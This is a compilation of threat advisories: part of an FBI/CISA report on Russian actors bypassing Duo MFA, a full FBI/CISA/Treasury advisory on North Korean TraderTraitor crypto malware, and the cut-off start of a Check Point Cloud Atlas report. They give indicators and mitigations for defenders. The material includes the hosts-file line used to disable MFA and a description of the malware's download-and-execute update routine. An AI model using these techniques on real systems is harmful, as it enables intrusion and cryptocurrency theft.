actors gained the credentials [TA0006] via brute-force password guessing attack [T1110.001],
allowing them access to a victim account with a simple, predictable password. The victim account had
been un-enrolled from Duo due to a long period of inactivity but was not disabled in the Active
Directory. As Duo
s default configuration settings allow for the re-enrollment of a new device for
dormant accounts, the actors were able to enroll a new device for this account, complete the
authentication requirements, and obtain access to the victim network.
Using the compromised account, Russian state-sponsored cyber actors performed privilege
escalation [TA0004] via exploitation of the 
PrintNightmare
 vulnerability (CVE-2021-34527) [T1068]
to obtain administrator privileges. The actors also modified a domain controller file,
c:\windows\system32\drivers\etc\hosts, redirecting Duo MFA calls to localhost instead of the
Duo server [T1556]. This change prevented the MFA service from contacting its server to validate
MFA login
this effectively disabled MFA for active domain accounts because the default policy of
Duo for Windows is to 
fail open
 if the MFA server is unreachable. Note: 
Fail open
 can happen to
any MFA implementation and is not exclusive to Duo.
After effectively disabling MFA, Russian state-sponsored cyber actors were able to successfully
authenticate to the victim
s virtual private network (VPN) as non-administrator users and make
Remote Desktop Protocol (RDP) connections to Windows domain controllers [T1133]. The actors ran
Page 2 of 7 | Product ID: AA22-074A
TLP:WHITE
FBI | CISA
TLP:WHITE
commands to obtain credentials for additional domain accounts; then, using the method described in
the previous paragraph, changed the MFA configuration file and bypassed MFA for these newly
compromised accounts. The actors leveraged mostly internal Windows utilities already present within
the victim network to perform this activity.
Using these compromised accounts without MFA enforced, Russian state-sponsored cyber actors
were able to move laterally [TA0008] to the victim
s cloud storage and email accounts and access
desired content.
Indicators of Compromise
Russian state-sponsored cyber actors executed the following processes:
ping.exe 
 A core Windows Operating System process used to perform the Transmission
Control Protocol (TCP)/IP Ping command; used to test network connectivity to a remote host
[T1018] and is frequently used by actors for network discovery [TA0007].
regedit.exe 
 A standard Windows executable file that opens the built-in registry editor
[T1112].
rar.exe 
 A data compression, encryption, and archiving tool [T1560.001]. Malicious cyber
actors have traditionally sought to compromise MFA security protocols as doing so would
provide access to accounts or information of interest.
ntdsutil.exe 
 A command-line tool that provides management facilities for Active Directory
Domain Services. It is possible this tool was used to enumerate Active Directory user
accounts [T1003.003].
Actors modified the c:\windows\system32\drivers\etc\hosts file to prevent communication with
the Duo MFA server:
127.0.0.1 api-<redacted>.duosecurity.com
The following access device IP addresses used by the actors have been identified to date:
45.32.137[.]94
191.96.121[.]162
173.239.198[.]46
157.230.81[.]39
MITIGATIONS
The FBI and CISA recommend organizations remain cognizant of the threat of state-sponsored cyber
actors exploiting default MFA protocols and exfiltrating sensitive information. Organizations should:
Enforce MFA for all users, without exception. Before implementing, organizations should
review configuration policies to protect against 
fail open
 and re-enrollment scenarios.
Implement time-out and lock-out features in response to repeated failed login attempts.
Page 3 of 7 | Product ID: AA22-074A
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FBI | CISA
TLP:WHITE
Ensure inactive accounts are disabled uniformly across the Active Directory, MFA systems
etc.
Update software, including operating systems, applications, and firmware on IT network
assets in a timely manner. Prioritize patching known exploited vulnerabilities, especially critical
and high vulnerabilities that allow for remote code execution or denial-of-service on internetfacing equipment.
Require all accounts with password logins (e.g., service account, admin accounts, and domain
admin accounts) to have strong, unique passwords. Passwords should not be reused across
multiple accounts or stored on the system where an adversary may have access.
Continuously monitor network logs for suspicious activity and unauthorized or unusual login
attempts.
Implement security alerting policies for all changes to security-enabled accounts/groups, and
alert on suspicious process creation events (ntdsutil, rar, regedit, etc.).
Note: If a domain controller compromise is suspected, a domain-wide password reset
including service
accounts, Microsoft 365 (M365) synchronization accounts, and krbtgt
will be necessary to remove the
actors
 access. (For more information, see https://docs.microsoft.com/en-us/answers/questions/87978/resetkrbtgt-password.html). Consider soliciting support from a third-party IT organization to provide subject matter
expertise, ensure the actor is eradicated from the network, and avoid residual issues that could enable follow-on
exploitation.
FBI and CISA also recommend organizations implement the recommendations listed below to further
reduce the risk of malicious cyber activity.
Security Best Practices
Deploy Local Administrator Password Solution (LAPS), enforce Server Message Block (SMB)
Signing, restrict Administrative privileges (local admin users, groups, etc.), and review
sensitive materials on domain controller
s SYSVOL share.
Enable increased logging policies, enforce PowerShell logging, and ensure antivirus/endpoint
detection and response (EDR) are deployed to all endpoints and enabled.
Routinely verify no unauthorized system modifications, such as additional accounts and
Secure Shell (SSH) keys, have occurred to help detect a compromise. To detect these
modifications, administrators can use file integrity monitoring software that alerts an
administrator or blocks unauthorized changes on the system.
Network Best Practices
Monitor remote access/RDP logs and disable unused remote access/RDP ports.
Deny atypical inbound activity from known anonymization services, to include commercial
VPN services and The Onion Router (TOR).
Implement listing policies for applications and remote access that only allow systems to
execute known and permitted programs under an established security policy.
Page 4 of 7 | Product ID: AA22-074A
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FBI | CISA
TLP:WHITE
Regularly audit administrative user accounts and configure access control under the concept
of least privilege.
Regularly audit logs to ensure new accounts are legitimate users.
Scan networks for open and listening ports and mediate those that are unnecessary.
Maintain historical network activity logs for at least 180 days, in case of a suspected
compromise.
Identify and create offline backups for critical assets.
Implement network segmentation.
Automatically update anti-virus and anti-malware solutions and conduct regular virus and
malware scans.
Remote Work Environment Best Practices
With the increased use of remote work environments and VPN services, the FBI and CISA encourage
organizations to implement the following best practices to improve network security:
Regularly update VPNs, network infrastructure devices, and devices used for remote work
environments with the latest software patches and security configurations.
When possible, implement multi-factor authentication on all VPN connections. Physical
security tokens are the most secure form of MFA, followed by authenticator applications.
When MFA is unavailable, require employees engaging in remote work to use strong
passwords.
Monitor network traffic for unapproved and unexpected protocols.
Reduce potential attack surfaces by discontinuing unused VPN servers that may be used as a
point of entry for cyber actors.
User Awareness Best Practices
Cyber actors frequently use unsophisticated methods to gain initial access, which can often be
mitigated by stronger employee awareness of indicators of malicious activity. The FBI and CISA
recommend the following best practices to improve employee operations security when conducting
business:
Provide end-user awareness and training. To help prevent targeted social engineering and
spearphishing scams, ensure that employees and stakeholders are aware of potential cyber
threats and delivery methods. Also, provide users with training on information security
principles and techniques.
Inform employees of the risks associated with posting detailed career information to social or
professional networking sites.
Ensure that employees are aware of what to do and whom to contact when they see
suspicious activity or suspect a cyber incident, to help quickly and efficiently identify threats
and employ mitigation strategies.
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FBI | CISA
INFORMATION REQUESTED
All organizations should report incidents and anomalous activity to the FBI via your local FBI field
office or the FBI
s 24/7 CyWatch at (855) 292-3937 or CyWatch@fbi.gov and/or CISA
s 24/7
Operations Center at report@cisa.gov or (888) 282-0870.
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APPENDIX A: THREAT ACTOR TACTICS AND TECHNIQUES
See table 1 for the threat actors
 tactics and techniques identified in this CSA. See the ATT&CK for
Enterprise for all referenced threat actor tactics and techniques.
Table 1: Threat Actor MITRE ATT&CK Tactics and Techniques
Tactic
Technique
Initial Access [TA0001]
Valid Accounts [T1078]
Persistence [TA0003]
External Remote Services [T1133]
Modify Authentication Process [T1556]
Privilege Escalation [TA0004]
Exploitation for Privilege Escalation [T1068]
Defense Evasion [TA0005]
Modify Registry [T1112]
Credential Access [TA0006]
Brute Force: Password Guessing
[T1110.001]
OS Credential Dumping: NTDS [T1003.003]
Discovery [TA0007]
Remote System Discovery [T1018]
Lateral Movement [TA0008]
Collection [TA0009]
Archive Collected Data: Archive via Utility
[T1560.001]
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Co-Authored by:
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Product ID: A22-108A
April 18, 2022
TraderTraitor: North Korean State-Sponsored
APT Targets Blockchain Companies
SUMMARY
Actions to take today to mitigate
The Federal Bureau of Investigation (FBI), the
cyber threats to cryptocurrency:
Cybersecurity and Infrastructure Security Agency (CISA),
and the U.S. Treasury Department (Treasury) are issuing
 Patch all systems.
this joint Cybersecurity Advisory (CSA) to highlight the
 Prioritize patching known
cyber threat associated with cryptocurrency thefts and
exploited vulnerabilities.
tactics used by a North Korean state-sponsored advanced
 Train users to recognize and
persistent threat (APT) group since at least 2020. This
report phishing attempts.
group is commonly tracked by the cybersecurity industry as
 Use multifactor authentication.
Lazarus Group, APT38, BlueNoroff, and Stardust Chollima.
For more information on North Korean state-sponsored
malicious cyber activity, visit https://www.us-cert.cisa.gov/northkorea.
The U.S. government has observed North Korean cyber actors targeting a variety of organizations in
the blockchain technology and cryptocurrency industry, including cryptocurrency exchanges,
decentralized finance (DeFi) protocols, play-to-earn cryptocurrency video games, cryptocurrency
trading companies, venture capital funds investing in cryptocurrency, and individual holders of large
amounts of cryptocurrency or valuable non-fungible tokens (NFTs). The activity described in this
advisory involves social engineering of victims using a variety of communication platforms to
encourage individuals to download trojanized cryptocurrency applications on Windows or macOS
operating systems. The cyber actors then use the applications to gain access to the victim
To report suspicious or criminal activity related to information found in this Joint Cybersecurity Advisory, contact
your local FBI field office at www.fbi.gov/contact-us/field, or the FBI
s 24/7 Cyber Watch (CyWatch) at
(855) 292-3937 or by e-mail at CyWatch@fbi.gov. When available, please include the following information
regarding the incident: date, time, and location of the incident; type of activity; number of people affected; type of
equipment used for the activity; the name of the submitting company or organization; and a designated point of
contact. To request incident response resources or technical assistance related to these threats, contact CISA at
report@cisa.gov.
DISCLAIMER: The information in this advisory is provided "as is" for informational purposes only. The FBI,
CISA, and Treasury do not provide any warranties of any kind regarding this information or endorse any
commercial product or service, including any subjects of analysis.
This document is marked TLP:WHITE. Disclosure is not limited. Sources may use TLP:WHITE when
information carries minimal or no foreseeable risk of misuse, in accordance with applicable rules and
procedures for public release. Subject to standard copyright rules, TLP:WHITE information may be distributed
without restriction. For more information on the Traffic Light Protocol, see http://www.us-cert.gov/tlp/.
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computer, propagate malware across the victim
s network environment, and steal private keys or
exploit other security gaps. These activities enable additional follow-on activities that initiate
fraudulent blockchain transactions.
The U.S. government previously published an advisory about North Korean state-sponsored cyber
actors using AppleJeus malware to steal cryptocurrency: AppleJeus: Analysis of North Korea
Cryptocurrency Malware. The U.S. government has also previously published advisories about North
Korean state-sponsored cyber actors stealing money from banks using custom malware:
HIDDEN COBRA 
 FASTCash Campaign
FASTCash 2.0: North Korea
s BeagleBoyz Robbing Banks
This advisory provides information on tactics, techniques, and procedures (TTPs) and indicators of
compromise (IOCs) to stakeholders in the blockchain technology and cryptocurrency industry to help
them identify and mitigate cyber threats against cryptocurrency.
TECHNICAL DETAILS
Threat Update
The U.S. government has identified a group of North Korean state-sponsored malicious cyber actors
using tactics similar to the previously identified Lazarus Group (see AppleJeus: Analysis of North
Korea
s Cryptocurrency Malware). The Lazarus Group used AppleJeus trojanized cryptocurrency
applications targeting individuals and companies
including cryptocurrency exchanges and financial
services companies
through the dissemination of cryptocurrency trading applications that were
modified to include malware that facilitates theft of cryptocurrency. As of April 2022, North Korea
Lazarus Group actors have targeted various firms, entities, and exchanges in the blockchain and
cryptocurrency industry using spearphishing campaigns and malware to steal cryptocurrency. These
actors will likely continue exploiting vulnerabilities of cryptocurrency technology firms, gaming
companies, and exchanges to generate and launder funds to support the North Korean regime.
Tactics, Techniques and Procedures
Intrusions begin with a large number of spearphishing messages sent to employees of cryptocurrency
companies
often working in system administration or software development/IT operations
(DevOps)
on a variety of communication platforms. The messages often mimic a recruitment effort
and offer high-paying jobs to entice the recipients to download malware-laced cryptocurrency
applications, which the U.S. government refers to as "TraderTraitor."
The term TraderTraitor describes a series of malicious applications written using cross-platform
JavaScript code with the Node.js runtime environment using the Electron framework. The malicious
applications are derived from a variety of open-source projects and purport to be cryptocurrency
trading or price prediction tools. TraderTraitor campaigns feature websites with modern design
advertising the alleged features of the applications (see figure 1).
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Figure 1: Screenshot of CryptAIS website
The JavaScript code providing the core functions of the software is bundled with Webpack. Within the
code is a function that purports to be an 
update,
 with a name such as UpdateCheckSync(), that
downloads and executes a malicious payload (see figure 2).
The update function makes an HTTP POST request to a PHP script hosted on the TraderTraitor
project
s domain at either the endpoint /update/ or /oath/checkupdate.php. In recent variants, the
server
s response is parsed as a JSON document with a key-value pair, where the key is used as an
AES 256 encryption key in Cipher Block Chaining (CBC) or Counter (CTR) mode to decrypt the value.
The decrypted data is written as a file to the system
s temporary directory, as provided by the
os.tmpdir() method of Node.js, and executed using the child_process.exec() method of
Node.js, which spawns a shell as a child process of the current Electron application. The text 
Update
Finished
 is then logged to the shell for the user to see.
Observed payloads include updated macOS and Windows variants of Manuscrypt, a custom remote
access trojan (RAT), that collects system information and has the ability to execute arbitrary
commands and download additional payloads (see North Korean Remote Access Tool:
COPPERHEDGE). Post-compromise activity is tailored specifically to the victim
s environment and at
times has been completed within a week of the initial intrusion.
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Figure 2: Screenshot depicting the UpdateCheckSync() and supporting functions bundled within
60b3cfe2ec3100caf4afde734cfd5147f78acf58ab17d4480196831db4aa5f18 associated with DAFOM
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Indicators of Compromise
DAFOM
DAFOM purports to be a 
cryptocurrency portfolio application.
 A Mach-O binary packaged within the
Electron application was signed by an Apple digital signature issued for the Apple Developer Team
W58CYKFH67. The certificate associated with Apple Developer Team W58CYKFH67 has been
revoked. A metadata file packaged in the DAFOM application provided the URL
hxxps://github[.]com/dafomdev for bug reports. As of April 2022, this page was unavailable.
dafom[.]dev
Information as of February 2022:
IP Address: 45.14.227[.]58
Registrar: NameCheap, Inc.
Created: February 7, 2022
Expires: February 7, 2023
60b3cfe2ec3100caf4afde734cfd5147f78acf58ab17d4480196831db4aa5f18
Tags: dropper macos
Name: DAFOM-1.0.0.dmg
Size: 87.91 MB (92182575 bytes)
MD5: c2ea5011a91cd59d0396eb4fa8da7d21
SHA-1: b2d9ca7b6d1bbbe4864ea11dfca343b7e15597d8
SHA-256: 60b3cfe2ec3100caf4afde734cfd5147f78acf58ab17d4480196831db4aa5f18
ssdeep:
1572864:LGLBnolF9kPEiKOabR2QEs1B1/LuUQrbecE6Xwijkca/pzpfaLtIP:LGVnoT9kPZK9tVEwBxW
becR5Faxzpf0M
TokenAIS
TokenAIS purports to help 
build a portfolio of AI-based trading
 for cryptocurrencies. Mach-O binaries
packaged within the Electron application contained an Apple digital signature issued for the Apple
Developer Team RN4BTXA4SA. The certificate associated with Apple Developer Team
RN4BTXA4SA has been revoked. The application requires users to 
register
 an account by entering
an email address and a password to use its features. The malicious TraderTraitor code is a Node.js
function called UpdateCheckSync() located in a file named update.js, which is bundled in a file
called renderer.prod.js, which is in an archive called app.asar. This function passes the email
address that the user provided and the system platform to the C2 server, decrypts the response using
AES 256 in CBC mode with the hardcoded initialization vector (IV) !@34QWer%^78TYui and a key
provided in the response, then writes the decrypted data to a file and executes it in a new shell.
tokenais[.]com
Information as of January 2022:
IP Address: 199.188.103[.]115
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Registrar: NameCheap, Inc.
Created: January 27, 2022
Expires: January 27, 2023
5b40b73934c1583144f41d8463e227529fa7157e26e6012babd062e3fd7e0b03
Tags: dropper macos
Name: TokenAIS.app.zip
Size: 118.00 MB (123728267 bytes)
MD5: 930f6f729e5c4d5fb52189338e549e5e
SHA-1: 8e67006585e49f51db96604487138e688df732d3
SHA-256: 5b40b73934c1583144f41d8463e227529fa7157e26e6012babd062e3fd7e0b03
ssdeep:
3145728:aMFJlKVvw4+zLruAsHrmo5Vvw4+zLruAsHrmob0dC/E:aUlKtw4+/r2HNtw4+/r2HnMCM
CryptAIS
CryptAIS uses the same language as TokenAIS to advertise that it 
helps build a portfolio of AI-based
trading.
 It is distributed as an Apple Disk Image (DMG) file that is digitally signed by an Apple digital
signature issued for the Apple Developer Team CMHD64V5R8. The certificate associated with Apple
Developer Team CMHD64V5R8 has been revoked. The application requires users to 
register
account by entering an email address and a password to use its features. The malicious TraderTraitor
code is a Node.js function called UpdateCheckSync() located in a file named update.js, which is
bundled in a file called renderer.prod.js, which is in an archive called app.asar. This function
passes the email address that the user provided and the system platform to the C2 server, decrypts
the response using AES 256 in CTR mode and a key provided in the response, then writes the
decrypted data to a file and executes it in a new shell.
cryptais[.]com
Information as of August 2021:
IP Address: 82.102.31.14
Registrar: NameCheap, Inc.
Created: August 2, 2021
Expires: August 2, 2022
f0e8c29e3349d030a97f4a8673387c2e21858cccd1fb9ebbf9009b27743b2e5b
Tags: dropper macos
Name: CryptAIS[.]dmg
Size: 80.36 MB (84259810 bytes)
MD5: 4e5ebbecd22c939f0edf1d16d68e8490
SHA-1: f1606d4d374d7e2ba756bdd4df9b780748f6dc98
SHA-256: f0e8c29e3349d030a97f4a8673387c2e21858cccd1fb9ebbf9009b27743b2e5b
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ssdeep:
1572864:jx9QOwiLDCUrJXsKMoGTwiCcKFI8jmrvGqjL2hX6QklBmrZgkZjMz+dPSpR0Xcpk:F9QOTP
CUrdsKEw3coIg2Or6XBmrZgkZw
AlticGO
AlticGO was observed packaged as Nullsoft Scriptable Install System (NSIS) Windows executables
that extracted an Electron application packaged for Windows. These executables contain a simpler
version of TraderTraitor code in a function exported as UpdateCheckSync() located in a file named
update.js, which is bundled in renderer.prod.js, which is in the app.asar archive. The function
calls an external function located in a file node_modules/request/index.js bundled in
renderer.prod.js to make an HTTP request to hxxps://www.alticgo[.]com/update/. One
AlticGO sample, e3d98cc4539068ce335f1240deb1d72a0b57b9ca5803254616ea4999b66703ad,
instead contacts hxxps://www.esilet[.]com/update/ (see below for more information about
Esilet). Some image resources bundled with the application included the CreAI Deck logo (see below
for more information about CreAI Deck). The response is written to disk and executed in a new shell
using the child_process.exec() method in Node.js. Unlike newer versions of TraderTraitor, there
is no mechanism to decrypt a payload.
alticgo[.]com
Information as of August 2020:
IP Address: 108.170.55[.]202
Registrar: NetEarth One Inc.
Created: August 8, 2020
Expires: August 8, 2021
765a79d22330098884e0f7ce692d61c40dfcf288826342f33d976d8314cfd819
Tags: dropper peexe nsis
Name: AlticGO.exe
Size: 43.54 MB (45656474 bytes)
MD5: 1c7d0ae1c4d2c0b70f75eab856327956
SHA-1: f3263451f8988a9b02268f0fb6893f7c41b906d9
SHA-256: 765a79d22330098884e0f7ce692d61c40dfcf288826342f33d976d8314cfd819
ssdeep:
786432:optZmVDkD1mZ1FggTqqLGAU6JXnjmDQ4YBXpleV0RnJYJKoSuDySLGh7yVPUXi7:opzKD
ginspAU6JXnJ46X+eC6cySihWVX
Compilation timestamp: 2018-12-15 22:26:14 UTC
e3d98cc4539068ce335f1240deb1d72a0b57b9ca5803254616ea4999b66703ad
Tags: dropper peexe nsis
Name: AlticGO_R.exe
Size: 44.58 MB (46745505 bytes)
MD5: 855b2f4c910602f895ee3c94118e979a
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SHA-1: ff17bd5abe9f4939918f27afbe0072c18df6db37
SHA-256: e3d98cc4539068ce335f1240deb1d72a0b57b9ca5803254616ea4999b66703ad
ssdeep:
786432:LptZmVDkD1mQIiXUBkRbWGtqqLGAU6JXnjmDQ4YBXpleV0RnJYJKoSuDySLGh7yH:LpzK
DgzRpWGwpAU6JXnJ46X+eC6cySiI
Compilation timestamp: 2020-02-12 16:15:17 UTC
8acd7c2708eb1119ba64699fd702ebd96c0d59a66cba5059f4e089f4b0914925
Tags: dropper peexe nsis
Name: AlticGO.exe
Size: 44.58 MB (46745644 bytes)
MD5: 9a6307362e3331459d350a201ad66cd9
SHA-1: 3f2c1e60b5fac4cf1013e3e1fc688be490d71a84
SHA-256: 8acd7c2708eb1119ba64699fd702ebd96c0d59a66cba5059f4e089f4b0914925
ssdeep:
786432:AptZmVDkD1mjPNDeuxOTKQqqLGAU6JXnjmDQ4YBXpleV0RnJYJKoSuDySLGh7yV7:Apz
KDgqPxeuLpAU6JXnJ46X+eC6cySiG
Compilation timestamp: 2020-02-12 16:15:17 UTC
Esilet
Esilet claims to offer live cryptocurrency prices and price predictions. It contains a simpler version of
TraderTraitor code in a function exported as UpdateCheckSync() located in a file named update.js,
which is bundled in renderer.prod.js, which is in the app.asar archive. The function calls an
external function located in a file node_modules/request/index.js bundled in renderer.prod.js
to make an HTTP request to hxxps://www.esilet[.]com/update/. The response is written to disk
and executed in a new shell using the child_process.exec() method in Node.js. Unlike newer
versions of TraderTraitor, there is no mechanism to decrypt a payload. Esilet has been observed
delivering payloads of at least two different macOS variants of Manuscrypt,
9d9dda39af17a37d92b429b68f4a8fc0a76e93ff1bd03f06258c51b73eb40efa and
dced1acbbe11db2b9e7ae44a617f3c12d6613a8188f6a1ece0451e4cd4205156.
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Figure 3: Screenshot of the UpdateCheckSync() function in Esilet
esilet[.]com
Information as of June 2020:
IP Address: 104.168.98[.]156
Registrar: NameSilo, LLC
Created: June 12, 2020
Expires: June 12, 2021
greenvideo[.]nl
Likely legitimate but compromised. Information as of April 2022:
IP Address: 62.84.240[.]140
Registrar: Flexwebhosting
Created: February 26, 2018
Expires: Unknown
dafnefonseca[.]com
Likely legitimate but compromised. Information as of June 2020:
IP Address: 151.101.64[.]119
Registrar: PublicDomainRegistry
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Created: August 27, 2019
Expires: August 27, 2022
haciendadeclarevot[.]com
Likely legitimate but compromised. Information as of June 2020:
IP Address: 185.66.41[.]17
Registrar: cdmon, 10DENCEHISPAHARD, S.L.
Created: March 2, 2005
Expires: March 2, 2023
sche-eg[.]org
Likely legitimate but compromised. Information as of June 2020:
IP Address: 160.153.235[.]20
Registrar: GoDaddy.com, LLC
Created: June 1, 2019
Expires: June 1, 2022
www.vinoymas[.]ch
Likely legitimate but compromised. Information as of June 2020:
IP Address: 46.16.62[.]238
Registrar: cdmon, 10DENCEHISPAHARD, S.L.
Created: January 24, 2010
Expires: Unknown
infodigitalnew[.]com
Likely legitimate but compromised. Information as of June 2020:
IP Address: 107.154.160[.]132
Registrar: PublicDomainRegistry
Created: June 20, 2020
Expires: June 20, 2022
9ba02f8a985ec1a99ab7b78fa678f26c0273d91ae7cbe45b814e6775ec477598
Tags: dropper macos
Name: Esilet.dmg
Size: 77.90 MB (81688694 bytes)
MD5: 53d9af8829a9c7f6f177178885901c01
SHA-1: ae9f4e39c576555faadee136c6c3b2d358ad90b9
SHA-256: 9ba02f8a985ec1a99ab7b78fa678f26c0273d91ae7cbe45b814e6775ec477598
ssdeep:
1572864:lffyoUnp5xmHVUTd+GgNPjFvp4YEbRU7h8cvjmUAm4Du73X0unpXkU:lfqHBmHo+BPj9CY
EshLqcuAX0I0
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9d9dda39af17a37d92b429b68f4a8fc0a76e93ff1bd03f06258c51b73eb40efa
Tags: trojan macho
Name: Esilet-tmpzpsb3
Size: 510.37 KB (522620 bytes)
MD5: 1ca31319721740ecb79f4b9ee74cd9b0
SHA-1: 41f855b54bf3db621b340b7c59722fb493ba39a5
SHA-256: 9d9dda39af17a37d92b429b68f4a8fc0a76e93ff1bd03f06258c51b73eb40efa
ssdeep:
6144:wAulcT94T94T97zDj1I/BkjhkbjZ8bZ87ZMSj71obV/7NobNo7NZTb7hMT5ETZ8I:wDskT1UBg2lir
FbpR9mJGpmN
C2 Endpoints:
 hxxps://greenvideo[.]nl/wp
content/themes/top.php
 hxxps://dafnefonseca[.]com/wp
content/themes/top.php
 hxxps://haciendadeclarevot[.]com/wp
content/top.php
dced1acbbe11db2b9e7ae44a617f3c12d6613a8188f6a1ece0451e4cd4205156
Tags: trojan macho
Name: Esilet-tmpg7lpp
Size: 38.24 KB (39156 bytes)
MD5: 9578c2be6437dcc8517e78a5de1fa975
SHA-1: d2a77c31c3e169bec655068e96cf4e7fc52e77b8
SHA-256: dced1acbbe11db2b9e7ae44a617f3c12d6613a8188f6a1ece0451e4cd4205156
ssdeep:
384:sdaWs0fDTmKnY4FPk6hTyQUitnI/kmCgr7lUryESll4yg9RpEwrUifJ8ttJOdy:sdayCkY4Fei9mhy/L9
RBrny6y
C2 Endpoints:
 hxxps://sche
eg[.]org/plugins/top.php
 hxxps://www.vinoymas[.]ch/wp
content/plugins/top.php
 hxxps://infodigitalnew[.]com/wp
content/plugins/top.php
CreAI Deck
CreAI Deck claims to be a platform for 
artificial intelligence and deep learning.
 No droppers for it
were identified, but the filenames of the below samples, win32.bin and darwin64.bin, match the
naming conventions used by other versions of TraderTraitor when downloading a payload. Both are
samples of Manuscrypt that contact hxxps://aideck[.]net/board.php for C2 using HTTP POST
requests with multipart/form
data Content-Types.
creaideck[.]com
Information as of March 2020:
IP Address: 38.132.124[.]161
Registrar: NameCheap, Inc.
Created: March 9, 2020
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Expires: March 9, 2021
aideck[.]net
Information as of June 2020:
IP Address: 89.45.4[.]151
Registrar: NameCheap, Inc.
Created: June 22, 2020
Expires: June 22, 2021
867c8b49d29ae1f6e4a7cd31b6fe7e278753a1ba03d4be338ed11fd1efc7dd36
Tags: trojan peexe
Name: win32.bin
Size: 2.10 MB (2198684 bytes)
MD5: 5d43baf1c9e9e3a939e5defd8f8fbd8d
SHA-1: d5ff73c043f3bb75dd749636307500b60a436550
SHA-256: 867c8b49d29ae1f6e4a7cd31b6fe7e278753a1ba03d4be338ed11fd1efc7dd36
ssdeep: 24576:y3SY+/2M3BMr7cdgSLBjbr4nzzy95VV7cEXV:ESZ2ESrHSV3D95oA
Compilation timestamp: 2020-06-23 06:06:35 UTC
89b5e248c222ebf2cb3b525d3650259e01cf7d8fff5e4aa15ccd7512b1e63957
Tags: trojan macho
Name: darwin64.bin
Size: 6.44 MB (6757832 bytes)
MD5: 8397ea747d2ab50da4f876a36d673272
SHA-1: 48a6d5141e25b6c63ad8da20b954b56afe589031
SHA-256: 89b5e248c222ebf2cb3b525d3650259e01cf7d8fff5e4aa15ccd7512b1e63957
ssdeep:
49152:KIH1kEh7zIXlDYwVhb26hRKtRwwfs62sRAdNhEJNDvOL3OXl5zpF+FqBNihzTvff:KIH1kEhI1L
OJtm2spB
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FBI | CISA | Treasury
TLP:WHITE
MITIGATIONS
North Korean state-sponsored cyber actors use a full array of tactics and techniques to exploit
computer networks of interest, acquire sensitive cryptocurrency-intellectual property, and gain
financial assets. The U.S. government recommends implementing mitigations to protect critical
infrastructure organizations as well as financial sector organizations in the blockchain technology and
cryptocurrency industry.
Apply defense-in-depth security strategy. Apply security principles
such as least access
models and defense-in-depth
to user and application privileges to help prevent exploitation
attempts from being successful. Use network segmentation to separate networks into zones
based on roles and requirements. Separate network zones can help prevent lateral movement
throughout the organization and limit the attack surface. See NSA
s Top Ten Cybersecurity
Mitigation Strategies for strategies enterprise organizations should use to build a defense-indepth security posture.
Implement patch management. Initial and follow-on exploitation involves leveraging common
vulnerabilities and exposures (CVEs) to gain access to a networked environment.
Organizations should have a timely vulnerability and patch management program in place to
mitigate exposure to critical CVEs. Prioritize patching of internet-facing devices and monitored
accordingly for any malicious logic attacks.
Enforce credential requirements and multifactor authentication. North Korean malicious
cyber actors continuously target user credentials, email, social media, and private business
accounts. Organizations should ensure users change passwords regularly to reduce the
impact of password spraying and other brute force techniques. The U.S. government
recommends organizations implement and enforce multifactor authentication (MFA) to reduce
the risk of credential theft. Be aware of MFA interception techniques for some MFA
implementations and monitor for anomalous logins.
Educate users on social engineering on social media and spearphishing. North Korean
actors rely heavily on social engineering, leveraging email and social media platforms to build
trust and send malicious documents to unsuspecting users. A cybersecurity aware workforce
is one of the best defenses against social engineering techniques like phishing. User training
should include how to identify social engineering techniques and awareness to only open links
and attachments from trusted senders.
Implement email and domain mitigations. Maintain awareness of themed emails
surrounding current events. Malicious cyber actors use current events as lure for potential
victims as observed during the COVID-19 pandemic. Organizations should have a robust
domain security solution that includes leveraging reputation checks and closely monitoring or
blocking newly registered domains (NRDs) in enterprise traffic. NRDs are commonly
established by threat actors prior to malicious engagement.
o HTML and email scanning. Organizations should disable HTML from being used in
emails and scan email attachments. Embedded scripts may be hard for an antivirus
product to detect if they are fragmented. An additional malware scanning interface
product can be integrated to combine potentially malicious payloads and send the
payload to the primary antivirus product. Hyperlinks in emails should also be scanned
Page 13 of 14 | Product ID: A22-108A
TLP:WHITE
FBI | CISA | Treasury
TLP:WHITE
and opened with precautionary measures to reduce the likelihood of a user clicking on
a malicious link.
Endpoint protection. Although network security is critical, devices mobility often means
traveling and connecting to multiple different networks that offer varying levels of security. To
reduce the risk of introducing exposed hosts to critical networks, organizations should ensure
mobile devices have installed security suites to detect and mitigate malware.
Enforce application security. Application allowlisting enables the organization to monitor
programs and only allow those on the approved allowlist to execute. Allowlisting helps to stop
the initial attack, even if the user clicks a malicious link or opens a malicious attachment.
Implement baseline rule sets, such as NSA
s Limiting Location Data Exposure guidance, to
block execution of unauthorized or malicious programs.
o Disable macros in office products. Macros are a common method for executing
code through an attached office document. Some office products allow for the
disabling of macros that originate from outside of the organization, providing a hybrid
approach when the organization depends on the legitimate use of macros.
 Windows specific settings can be configured to block internet-originated
macros from running. This can be done in the Group Policy Administrative
Templates for each of the associated Office products (specifically Word, Excel
and PowerPoint). Other productivity software, such as LibreOffice and
OpenOffice, can be configured to set the Macro Security Level.
Be aware of third-party downloads
especially cryptocurrency applications. North Korean
actors have been increasingly active with currency generation operations. Users should
always verify file downloads and ensure the source is from a reputable or primary (preferred)
source and not from a third-party vendor. Malicious cyber actors have continuously
demonstrated the ability to trojanize applications and gain a foothold on host devices.
Create an incident response plan to respond to possible cyber intrusions. The plan should
include reporting incidents to both the FBI and CISA
quick reporting can reduce the severity
of incidents and provide valuable information to investigators. Contact information can be
found below.
CONTACT
All organizations should report incidents and anomalous activity to CISA 24/7 Operations Center
at report@cisa.gov or (888) 282-0870 and/or to the FBI via your local FBI field office or the FBI
s 24/7
CyWatch at (855) 292-3937 or CyWatch@fbi.gov.
DISCLAIMER
The information in this advisory is provided "as is" for informational purposes only. The FBI, CISA,
and Treasury do not provide any warranties of any kind regarding this information or endorse any
commercial product or service, including any subjects of analysis.
Page 14 of 14 | Product ID: A22-108A
TLP:WHITE
Cloud Atlas targets entities in Russia and Belarus amid
the ongoing war in Ukraine
research.checkpoint.com/2022/cloud-atlas-targets-entities-in-russia-and-belarus-amid-the-ongoing-war-in-ukraine
December 9, 2022
Introduction
Cloud Atlas (or Inception) is a cyber-espionage group. Since its discovery in 2014, they
have launched multiple, highly targeted attacks on critical infrastructure across geographical
zones and political conflicts. The group
s tactics, techniques and procedures (TTPs) have
remained relatively static over the years. However, since the rapid escalation of the conflict
between Russia and Ukraine in 2021 and especially after the outbreak of war in February
2022, the scope of the group
s activities has narrowed significantly, with a clear focus on
Russia, Belarus and conflicted areas in Ukraine and Moldova. Some evidence discovered
while monitoring the group
s latest activities indicates that the group carried out a few
